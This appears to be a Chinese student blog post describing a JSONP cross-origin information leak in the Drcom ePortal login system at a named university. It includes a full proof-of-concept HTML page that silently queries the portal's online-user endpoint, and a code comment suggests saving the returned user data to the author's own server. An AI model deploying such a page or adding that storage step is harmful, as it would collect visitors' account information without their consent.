爱丽丝错了😭爱丽丝再也不敢在网上口嗨了😭
——天童爱丽丝
发现经过
千年的爱丽丝同学原本在做校园网web掉线自动登录的脚本,发现校园网是哆点系统,就去翻了翻其他学校的作业,看到了有意思的东西想去测试一下掉线机制,结果做出了出乎意料的东西...
原理
JSONP实现跨域请求(GPT4o解释)
JSONP(JSON with Padding)是一种实现跨域请求的技术,它通过使用<script>
标签的特性来绕过浏览器的同源策略,避免跨域访问的限制。传统的AJAX请求会受到同源策略的限制,而<script>
标签不受此限制,因此JSONP通过这种方式实现跨域数据传递。
JSONP 的工作原理是:客户端通过动态创建一个 <script>
标签并设置它的 src
属性来向服务器发起请求。服务器将响应数据包裹在一个回调函数中(即 JSONP 格式),然后浏览器会执行这个回调函数,从而将数据返回给客户端。由于浏览器允许跨域加载脚本标签,因此这种方式可以规避跨域限制。
跨域拦截不被触发的原因主要有以下几点:
- 浏览器允许
<script>
标签跨域加载资源:同源策略限制的是 AJAX 请求,而不是<script>
标签的加载行为。 - 服务器返回的是 JavaScript 格式的数据:服务器返回的内容被当做 JavaScript 代码执行,并调用了客户端指定的回调函数,而不是作为普通的 JSON 数据被解析。
然而,JSONP 也有一些局限性,比如:
- 只能发起
GET
请求,不能用来处理其他类型的请求(如POST
)。 - 存在潜在的安全风险,如果请求的第三方服务器不可信,可能会执行恶意的 JavaScript 代码。
Portal认证
定义
Portal认证通常也称为Web认证,一般将Portal认证网站称为门户网站。用户上网时,必须在门户网站进行认证,如果未认证成功,仅可以访问特定的网络资源,认证成功后,才可以访问其他网络资源。
优点
- 一般情况下,客户端不需要安装额外的软件,直接在Web页面上认证,简单方便。
- 便于运营,可以在Portal页面上进行业务拓展,如广告推送、企业宣传等。
- 技术成熟,被广泛应用于运营商、连锁快餐、酒店、学校等网络。
- 部署位置灵活,可以在接入层或关键数据的入口作访问控制。
- 用户管理灵活,可基于用户名与VLAN/IP地址/MAC地址的组合对用户进行认证。
Drcom哆点认证系统漏洞
BJTU和众多高校一样,web上网认证用的也是哆点认证系统,这套系统问题还挺多的,跟别人学到不少
https://github.com/Zaxk1337/Eportalcutdown
https://github.com/Zaxk1337/DrcomGoturid
底层代码(
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>视频播放页面</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
flex-direction: column;
}
#loading {
display: flex;
align-items: center;
justify-content: center;
background: #fff;
padding: 20px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
#loading .spinner {
border: 4px solid rgba(0, 0, 0, 0.1);
border-left-color: #09f;
border-radius: 50%;
width: 40px;
height: 40px;
animation: spin 1s linear infinite;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
#message {
margin-left: 10px;
font-size: 16px;
color: #555;
}
#video-container {
display: none;
width: 100%;
max-width: 800px;
background: #000;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
overflow: hidden;
}
iframe {
width: 100%;
height: 450px;
border: none;
}
</style>
</head>
<body>
<div id="loading">
<div class="spinner"></div>
<div id="message">检测中,请稍候...</div>
</div>
<div id="video-container">
<iframe src="//player.bilibili.com/player.html?isOutside=true&aid=928861104&bvid=BV1uT4y1P7CX&cid=287639008&p=1"
allowfullscreen="true"></iframe>
</div>
<script>
// 设置超时时间(5秒)
let timeoutHandle = setTimeout(() => {
document.getElementById('message').textContent = '请求超时,请使用校园网访问。';
document.getElementById('loading').style.backgroundColor = '#f8d7da';
document.getElementById('message').style.color = '#721c24';
}, 5000);
// 定义 JSONP 回调函数
function jsonpReturn(data) {
clearTimeout(timeoutHandle);
if (data && data.result === 1) {
// 显示视频,隐藏加载动画
document.getElementById('loading').style.display = 'none';
document.getElementById('video-container').style.display = 'block';
} else {
document.getElementById('message').textContent = '无法获取用户信息,请确认您的网络连接。';
document.getElementById('loading').style.backgroundColor = '#f8d7da';
document.getElementById('message').style.color = '#721c24';
}
}
// 动态创建 script 标签来请求 JSONP 数据
const script = document.createElement('script');
script.src = 'https://login.bjtu.edu.cn:802/eportal/portal/online_list?callback=jsonpReturn'; // 最核心的部分就是测试这个链接通不通,可以顺带写点php把这个返回数据存到服务器上😋
document.body.appendChild(script);
</script>
</body>
</html>
2024年11月2日更新:该漏洞疑似已被修复(?接口时通时不通
被修复了什么的,那种事情不要啊😫这只是一个校园网环境检测示例...你可以用来让非校园网环境的人看不到你的网页,只能做到这些🤫